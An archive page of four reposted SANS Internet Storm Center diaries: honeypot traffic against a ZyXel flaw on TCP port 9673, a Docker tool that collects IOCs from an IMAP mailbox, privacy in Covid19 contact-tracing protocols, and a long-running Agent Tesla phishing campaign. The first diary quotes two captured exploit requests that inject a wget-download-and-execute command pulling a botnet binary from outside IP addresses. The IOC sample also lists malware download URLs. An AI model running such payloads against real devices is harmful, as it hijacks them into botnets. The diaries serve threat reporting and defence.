Blog

Archive for April, 2020

Attack traffic on TCP port 9673, (Fri, May 1st)

I don’t know how many of you pay attention to the Top 10 Ports graphs on your isc.sans.edu dashboard, but I do. Unfortunately, the top 10 is pretty constant, the botnets are attacking the same ports. What I find more interesting is anomalous behavior. Changes from what is normal on a given port. So, a little over a week ago, I saw a jump on a port I wasn’t familiar with.

In fact, when I look at the longer term, we’ve seen the occasional spike, but this is the first one where the number of sources was up significantly, too.

So, what are the attackers looking for in this last week? Well, as I have in previous diaries, I turned to fellow handler, Didier Stevens’ tcp-honeypot. Since there seem to be web admin consoles on lots of ports, I set up tcp port 9673 to look like a web server, though it probably wasn’t necessary. I brought this up on a VPS I have and within minutes started getting hits (I have included 2 examples below). With a little DuckDuckGo-ing, I came across an advisory for a ZyXel 0-day from last month. I guess someone finally decided to go after it. I was unable to download the second stage (it looks like the servers hosting the payloads may have been shut down already), but according to Radware, this is the Hoaxcalls DDoS botnet in action.

20200429-051959: 0.0.0.0:9673-197.60.52.212:59732 data b”GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1rnUser-Agent: XTCrnHost: 127.0.0.1:9673rnContent-Length: 1000rnAccept-Encoding: gzip, deflaternAccept-Language: en-US,en;q=0.9rnrncpe_ids=__import__(‘os’).system(‘wget http://212.114.52.128/arm7 -O /tmp/viktor; chmod 777 /tmp/viktor; /tmp/viktor’)rnrn”

20200430-082737: 0.0.0.0:9673-14.177.232.245:51026 data b”GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1rnUser-Agent: XTCrnHost: 127.0.0.1:9673rnContent-Length: 1000rnAccept-Encoding: gzip, deflaternAccept-Language: en-US,en;q=0.9rnrncpe_ids=__import__(‘os’).system(‘wget http://178.33.64.107/arm7 -O /tmp/upnp.debug; chmod 777 /tmp/upnp.debug; /tmp/upnp.debug’)rnrn”

As we always say, your IoT devices should not generally be directly exposed to the internet. I know people are fond of saying the perimeter is dead, but seriously, you should still have a firewall that blocks inbound traffic to (at least) your IoT devices.

—————
Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Collecting IOCs from IMAP Folder, (Thu, Apr 30th)

I’ve plenty of subscriptions to “cyber security” mailing lists that generate a lot of traffic. Even if we try to get rid of emails, that’s a fact: email remains a key communication channel. Some mailing lists posts contain interesting indicators of compromize. So, I searched for a nice way to extract them in an automated way (and to correlate them with other data). I did not find a solution ready to use that matched my requirements:

  • Connect to any mailbox (preferably via IMAP)
  • Produce data easy to process (JSON)
  • Be easy to deploy (Docker)

So, I built my own Docker image… It is based on the following components:

  • procmail
  • getmail
  • some Python libraries
  • The project es_mail_intel[1]

The last tool is an old project that achieves exactly why I expect: It extracts IOCs from emails and stores them in ElasticSearch. But, if you don’t want ElasticSearch, it can also produce a JSON file! Parsing emails is a pain! So, I did not want to write my own parser.

Data are processed in this way: Emails are fetched via IMAP at regular intervals by getmail and pushed to procmail. It pushes them to the Python script that extracts interesting data.

IMAP data >> getmail >> procmail >> mail_parser2json_extract.py >> JSON data

Here is my Dockerfile:

FROM ubuntu:18.04
MAINTAINER Xavier Mertens 
RUN apt-get update && 
    DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y 
        ca-certificates 
        getmail 
        procmail 
        git 
        python 
        python-ipaddress 
        python-pdfminer 
        python-elasticsearch 
        python-xlrd 
        && 
    apt-get clean && 
    rm -rf /var/lib/apt/lists/*
RUN mkdir -p /root/.getmail
RUN git clone https://github.com/clverhack/es_email_intel.git /opt/es_email_intel
COPY getmail.conf /
RUN echo ":0" >>/procmailrc
RUN echo "|/opt/es_email_intel/mail_parser2json_extract.py 2 >>/log/ioc.json" >>/procmailrc
COPY run.sh /
RUN chmod u+x /run.sh
RUN touch /tmp/firstboot
CMD ["/run.sh"]

It needs a getmail.conf with the parameters of the mailbox you’d like to monitor:

[retriever]
type = SimpleIMAPSSLRetriever
server = CONF_SERVER
username = CONF_LOGIN
password = CONF_PASSWORD

[destination]
type = MDA_external
path = /usr/bin/procmail
user = getmail
group = getmail
arguments = ('/procmailrc', )

[options]
verbose=1
read_all=false
delete=false
delete_after=0
delete_bigger_than=0
max_bytes_per_session=0
max_message_size=0
max_messages_per_session=0
delivered_to=false
received=false
message_log=/log/getmail.log
message_log_syslog=false
message_log_verbose=true

getmail is a very powerful tool with plenty of options. Just have a look at the documentation[2] to find your best way to interact with your mailboxes. The script ‘run.sh’ will be executed by the container and, at first boot, configure your credentials:

#!/bin/bash
if [ -r /tmp/firstboot ]; then
        sed -i "s|CONF_SERVER|$IMAP_SERVER|g" /getmail.conf
        sed -i "s|CONF_LOGIN|$IMAP_USER|g" /getmail.conf
        sed -i "s|CONF_PASSWORD|$IMAP_PASS|g" /getmail.conf

        groupadd getmail
        useradd -u $UID -g getmail -d /home/getmail getmail
        mkdir /home/getmail && chown getmail:getmail /home/getmail
        test -d /log || mkdir /log
        touch /log/getmail.log /log/ioc.json
        chown -R root:getmail /log
        chmod -R g+w /log
        rm /tmp/firstboot
fi
while true
do
        /usr/bin/getmail -r /getmail.conf
        sleep $IMAP_WAIT
done

And, finally, my docker-compose.yml file:

version: '3'
services:
    iocollector:
        build: .
        image: "xme/iocollector"
        restart: always
        hostname: iocollector
        container_name: iocollector
        volumes:
            - /etc/localtime:/etc/localtime:ro
            - /data/iocollector/log:/log
        environment:
            - UID=1000
            - IMAP_SERVER=
            - IMAP_USER=
            - IMAP_PASS=
            - IMAP_WAIT=30
        network_mode: bridge

Start your docker and it will populate the mapped /log directory with an ‘ioc.json’ file:

{
    "bitcoin_wallet": [
        "1ncgvmeqno77x5pqbp7yi4779si",
        "3k04tl9upoapvqrcbntcsnglvcr5yn",
        "366vraic2k6ocpol7q9ck8vs2o5by0dp",
        "1fgtytuwedagp1krbukpd1dkkpfs",
        "3pmusoxmgn1qmrzedtxsqbua6dua6t",
        "34pg4dq162op34bd1aospshvsyxwhsxyo",
        "38wvzcnz49gvuwo29iuf8vxyssvmfi66w",
        "1nvgzipjvq5hdd16iszjdx9jzvf3",
        "1igrmo3w477lnb4e3tsz3gfdrciwo",
        "1yenq1jfsx54ptvvdtbplcqumu2dz3we",
        "3wusjglqxkkro3nfzd1mkwx1qqf",
        "1tjkoizmzrof4kgkok3jciwysmrxprj7"
    ],
    "ctime": "Thu Mar  5 17:54:23 2020",
    "domain": [
        "xpressvpngoodforpsdgo.duckdns.org",
        "windowsfirewallsecurityauthorise.duckdns.org",
        "cartonal.net",
        "asco.az",
        "duckdns.org",
        "dnverificationfailedbymicrosoftthanks.duckdns.org",
        "saranadinamika.co.id",
        ...
        "windowsdefenderserversecuresofficeiq.duckdns.org",
        "tecnol2.com",
        "synergiespakistan.com",
        "chxsndy3manufacturingandinsurancebusines.duckdns.org",
        "ecomglobalpurchasecentercom.duckdns.org",
        "globalsharesecurefilesgood.duckdns.org",
        "ewrt55.com",
        "matriximportsusa.com",
        "pstv-energy.com",
        "msofficecloudtransferfileprotocolsys.duckdns.org",
        "workshop002.duckdns.org",
        "globalfbdnsaddressgoogle.duckdns.org",
        "www.virustotal.com",
        "marroiq.com",
        "challengerevertprocessupdate.duckdns.org",
        "windowsdefenderserversecureserver.duckdns.org",
        "windowsdefenderserversecuresofficew.duckdns.org"
    ],
    "email": [
        "[email protected]",
        ...
    ],
    "epoch": "1583427263",
    "filename": [
        "64443.exe",
        "soa.xlsx",
        "copy.xlsx",
        "p.o.xlsx",
        "agenttesla.xlsx",
        "vbc.exe",
        "products.xlsx",
        "quote.pdf"
    ],
    "ipv4": [
        ...
    ],
    "md5": [],
    "message_text": "...",
    "mutex": [],
    "sha1": [],
    "sha256": [
        "3a0965bd363e46e8c30590d7ddfd22bfc353728c6311c3ca61479da6f874bd5f",
        "f3a98da7e0a2c7cfe0907f5b0b769a4ff3bad45d7dce7ed905d6c3c2bf835201",
        "cb01d834237a37d3825f4075961cf6eda5f856af13526d699e4f5c93edf00c15",
        "2ef88915bb08f6d0d4c5fb2a90777930ad4e0d0b757e4b2b51988813338470f9",
        "df852235358fe361ba0577ad4c064b642148b2ac52d5857316d20bca33ea3d04",
        "172542fe3f7aae11deaf6960652d0074a1a7d83ae5596951ad69ba151a9f9630"
    ],
    "ssdeep": [],
    "url": [
       "windowsdefenderserversecureserver.duckdns.org/mich/vbc.exe",
        "globalsharesecurefilesgood.duckdns.org/love/vbc.exe",
        "windowsfirewallsecurityauthorise.duckdns.org/big/vbc.exe",
        "workshop002.duckdns.org/vbc.exe",
        "windowsdefenderserversecuresofficew.duckdns.org/windows/vbc.exe",
        "dnverificationfailedbymicrosoftthanks.duckdns.org/lee/vbc.exe",
        "dnverificationfailedbymicrosoftthanks.duckdns.org/lavin/vbc.exe",
        "ecomglobalpurchasecentercom.duckdns.org/love/vbc.exe",
        "windowsdefenderserversecuresofficew.duckdns.org/reg/vbc.exe",
        ...
        "globalfbdnsaddressgoogle.duckdns.org/lvc/vbc.exe"
    ]
}

Note: The complete is email is parsed. You will find in the JSON file all SMTP headers, the email body, etc. Less relevant for IOC’s but still interesting in some cases (by example, to analyze spam).

Here is a recap of the data flow:

[1] https://github.com/clverhack/es_email_intel.git
[2] http://pyropus.ca/software/getmail/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Privacy Preserving Protocols to Trace Covid19 Exposure, (Wed, Apr 29th)

In recent weeks, you probably heard a lot about the “Covid19 Tracing Apps” that Google, Apple, and others. These news reports usually mention the privacy aspects of such an app, but of course, don’t cover the protocols in sufficient depth to address how the privacy challenges are being solved.

The essential function of such an application is to alert you if you recently came in contact with a Covid19 infected person. It is the goal of the application to alert users who are asymptomatic so they can get tested and self-isolate to prevent spreading the virus.

There are a few problems with this generic definition of the function of such an application:

  • What does “recent” mean: Usually this refers to 14 days, which is the time most reports suggest as the incubation time.
  • “contact” is usually defined as being within about 2 meters (6feet) of an infected individual. Some applications also require that the contact lasted longer than a few seconds.
  • The infected person may only realize that they are infected until they are tested, and they learn of the result. The data needs to be stored until that determination is made (again, for about 14 days).

But the application does not need to know where you are or where you have been. Geolocation is not required to fulfill this function.

A key privacy feature implemented by these applications is that the application broadcasts a random, rotating identifier. Some of the protocols send a new identifier with each “ping”; others rotate it after a given time (minutes). This ID rotation prevents the most obvious threat of tracking a user using a unique identifier (as it has been done with MAC addresses). One of the critical parameters of these protocols is how often the identifier rotates. Some protocols suggest rotating them with each ping. Others keep the same ID for minutes (or even a day, which is probably too long).


PACT Tracing Protocol Schematic (https://arxiv.org/pdf/2004.03544.pdf)

At the same time, the application receives “pings” sent by others and records them. Initially, there is no need to store these pings centrally. Only the receiving device stores the IDs it received.

Once a user is identified as positive, things become a bit interesting. They upload the IDs they recently sent (and in some protocols also the pings they received) to a database. Some standards are assuming a single central database. Others suggest a more decentralized data store. Instead of uploading each ID sent, some protocols suggest that the IDs are derived from a seed, and only the seed needs to be uploaded, significantly reducing the amount of data being sent and centrally stored.

In addition, malicious uploads need to be prevented. They could be used to overwhelm the data or to cause false positives. The authentication schemes vary between the protocols, but typically the infected user has to provide some form of authentication code from a healthcare provider. The user should be able to exclude some data from the upload (e.g., based on the time the event happened).

Your device downloads the entire database of reported IDs (or seed keys) to check if you have come into contact with an infected individual. This is a lot easier if only seeds are uploaded (one record for each infected person) instead of having to download all individual IDs sent by infected users (about 2000/user for two weeks if the ID changes every 10 minutes). The protocol proposed by Apple and Google suggests the use of “Temporary Exposure Keys” that rotate daily. These keys are used to derive a “Rolling Proximity Identifier” which is rotated every few minutes.

This protocol should solve most of the privacy issues that arise from such an application. It should not allow a third party to identify individuals, and users will not know who of their contacts was positive (unless they only had contact with one individual person).

To assist with the acceptance of the application, users will have control over when the application is active, and what data is uploaded to any data repository.

Of course, in the past, it has been shown that very large anonymized datasets can be used to track individuals. Probably the best protection, aside from robust cryptographic implementations, is the deletion of data as soon as it is no longer relevant for tracking SARS-Cov2 infections. The user interface of the application needs to be carefully designed to allow the user to make sensible choices as to what data to record and upload to the central database.

Ideally, the application would only share the sent IDs (or seeds to derive them) with the central database. But some applications found it useful to report IDs received, Bluetooth signal strength, and the phone model. Proximity tracing with Bluetooth is tricky. Different phone models use Bluetooth chipsets and antenna configurations with different sensitivity and signal strength. Just measuring the absolute signal strength received is a poor indicator of distance. The Apple/Google standard suggests including some encrypted metadata with each ping. The keys used to encrypt the metadata are derived from the same temporary exposure key as the IDs broadcast by the phone. The metadata can only be decrypted after the user uploaded these temporary exposure keys.

This is a classic example of how one has to weight privacy vs. the value of the information received. What makes this more complicated is that a less privacy-sensitive application may collect more valuable data, but may also find fewer volunteer users. The application is only useful if there are many users (some suggest at least 60% of the population needs to use the application). And of course, the application needs to be released “now” leaving little time for an extensive review period.

A quick summary of the proposed protocols:

Apple/Google Contact Tracing
 https://www.blog.google/inside-google/company-announcements/apple-and-google-partner-covid-19-contact-tracing-technology/

DP3T (Decentralized Privacy-Preserving Proximity Tracing)
 https://github.com/DP-3T
 https://arxiv.org/pdf/2004.03544.pdf
 https://eprint.iacr.org/2020/399.pdf

PEPP-PT (Pan European Privacy Preserving Proximity Tracing)
 https://www.pepp-pt.org/

PACT (Privacy-Sensitive Protocols And Mechanisms for Mobile Contact Tracing)
 https://arxiv.org/pdf/2004.03544.pdf

Covid-Watch
 https://covid-watch.org  

COVIDSafe
 https://www.health.gov.au/resources/apps-and-tools/covidsafe-app
 https://github.com/vteague/contactTracing/blob/master/README.md

BlueTrace/TraceTogether
 https://bluetrace.io/static/bluetrace_whitepaper-938063656596c104632def383eb33b3c.pdf


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Agent Tesla delivered by the same phishing campaign for over a year, (Tue, Apr 28th)

While going over malicious e-mails caught by our company gateway in March, I noticed that several of those, that carried ACE file attachments, appeared to be from the same sender. That would not be that unusual, but and after going through the historical logs, I found that e-mails from the same address with similar attachments were blocked by the gateway as early as March 2019.

The e-mails in question all appeared to come from the address [email protected] The sender address was quite interesting in its own way, since, although the messages most certainly didn’t come from TNT, they didn’t fail the SPF checks either. The reason for them not being stopped by the Sender Policy Framework checks was not a lack of an SPF record for the domain tnt.com, but the fact that the record in question was set incorrectly, in such a way that it allowed any server to send email for the domain tnt.com.

As you may see, the record ends in “?all” – this means that the record doesn’t specify whether any IP address, which is not listed, may or may not send messages for tnt.com[1]. I have informed TNT of both the problem with the SPF record (which they said they will fix soon) as well as the fact that their domain was misused in this was to send malicious messages.

I originally didn’t plan to dig any deeper into it, however after our e-mail gateway caught another e-mail from [email protected] just yesterday, I decided to take a closer look at these messages and their attachments.

After a while of going through my e-mail quarantine backups, I managed to find 54 e-mails from the last 6 months that appeared to have originated from the same address, all of them with an ACE attachment. The messages were fairly similar to each other – most were variations on the theme of “tomorrow we will deliver your package please find the attached invoice”. You may see that there hasn’t been much of a change in them during the past 6 months from the following two examples – the first one is from August 2019 and the second one was “caught” just yesterday.

A quick search of the logs for [email protected] showed that from March 15, 2019, the e-mail gateway stopped 94 similar messages. In all these cases, the messages had an ACE attachment and all their subjects were variations on the same theme.

I didn’t manage to get the earliest e-mails but I extracted the attachments of all the ones I had access to and after eliminating all of the duplicates I was left with 14 malicious executables (some of them with a fake SCR extension).

Since I didn’t have much time to spend on analyzing the files, I upload several of them to Any.Run and to the Intezer Analyze platform and the results were pretty much always the same – the malicious files were droppers or injectors for Agent Tesla (you may find hashes for all of the executables below).

Since I don’t have access to the earliest attachments, I can’t be sure that the actors behind this campaign used it to spread only Agent Tesla for the entire time, however from the available data it seems to be the case. It appears that the same group has been using nearly the same e-mail template and exactly the same simple trick to bypass SPF checks for more than a year.

In my last diary[2], I mentioned that a group behind phishing campaign, that ran for over three months with minimal changes, seemed to go by the old adage “if it ain’t broke don’t fix it”. After looking at this campaign, it seems that that the first group definitely wasn’t alone in adopting this philosophy.

 

Indicators of Compromise (IoCs)

 

MD5

SHA-1

bvnmmmmmm.exe

26765d4965893825b65b7fd029fe4da7

69dda78ca8714e7b35fa06c17cceec93f150f50c

sta5665.scr

8cb501944a7e3afd7f641940834c42d0

f8048f1b072fd0a2ce155f2297b9c4ae0b920056

stan.exe

9c43b1f13e9584a315b1ca6133e52d1d

c6ed0a356bafd83b15f2377aadaa50610ade75ea

stan70.scr

2e9ce406373eb8dff8a4c65b211ade25

cab446082a47f2c860a06aa33f1f8bf927762a43

stannna.exe

f90c78f41aeaf4ee729d9d01af3b4c5b

37b5002429d2122eef4edb86a1dd6f6ccb450b2c

stanooooo.exe

89e3c0ff0b33ca29864a9e92e1f11bee

d85ce6583bdade094716e75fae827258f25656e8

stuuu.exe

f1aae5198131803697199c6f1a58fddc

a19e7a0aeb82dbadbf46bcd1641e41b66b09343a

tsssssssssssssssssssssss.exe

c45551244a11e446b80ae3657091e8fb

07654a0dd309f70e94b2d0c83a50ff886678a00d

tttttnnamdi.exe

35bf4bb31fdf79d238e142130c782190

3cab3b9761f0e7469fce39470a86c2152664b6c3

ddddnnamdi.exe

b13e9c6593b3861653f13016523e0591

9d9c6310aef1a68d0f2f47e35645c945bfba7d04

gllllmmbnbb.exe

be4a72b6df954561c5ce592596fda595

b1a225852b886cae58214847ffdb6de222bc589d

kkkkppppppp.exe

1ad593307367d2855480f77af3cec459

98f8cc243cff4da0f7ac4a1bca745d341c3c8946

lllloooyyyyy.exe

a4f787dc35c4e7ab2fd827cd94174cbf

453aaa4be9476c105fa2d17d3888e35fe427a726

ODDZr20d5ZzP6Yk.exe

ecdedada37ce7ef4c31fd6be32e7ebc7

9bb32473c7f3f0a85a7f6bbf9e74d2505d3ca8d9

[1] https://isc.sans.edu/forums/diary/Phishing+email+spoofing+SPFenabled+domain/25426/
[2] https://isc.sans.edu/forums/diary/Look+at+the+same+phishing+campaign+3+months+apart/26018/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 7 12345...»